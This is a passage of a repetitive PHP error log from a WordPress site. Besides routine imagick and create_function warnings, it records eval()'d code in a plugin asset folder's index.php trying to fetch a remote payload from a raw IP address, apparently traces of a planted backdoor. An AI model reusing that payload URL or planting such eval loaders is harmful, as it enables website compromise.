(libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:41:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:41:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:41:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:41:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:41:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:41:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:41:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:42:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:42:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:42:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:42:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:42:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:42:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:42:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:42:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:42:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:42:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:43:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:43:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:43:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:43:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:43:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:43:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:43:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:43:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:44:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:44:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:44:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:44:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:44:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:44:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:44:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:44:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:44:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:44:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:44:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:44:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:45:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:45:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:45:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:45:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:45:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:45:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:45:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:45:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:46:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:46:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:46:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:46:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:46:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:46:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:46:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:46:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:46:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:46:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:47:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:47:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:48:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:48:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:48:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:48:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 06:48:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 06:48:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 21:16:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [30-May-2023 21:16:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [30-May-2023 21:16:53 UTC] PHP Warning: file_get_contents(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [30-May-2023 21:16:53 UTC] PHP Warning: file_get_contents(http://185.81.68.38/tmp/sJyoxvTOQZ): failed to open stream: no suitable wrapper could be found in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [31-May-2023 02:59:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [31-May-2023 02:59:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [31-May-2023 09:58:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [31-May-2023 09:58:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [31-May-2023 16:47:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [31-May-2023 16:47:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [01-Jun-2023 13:02:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [01-Jun-2023 13:02:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 01:57:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 01:57:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 20:11:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 20:11:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 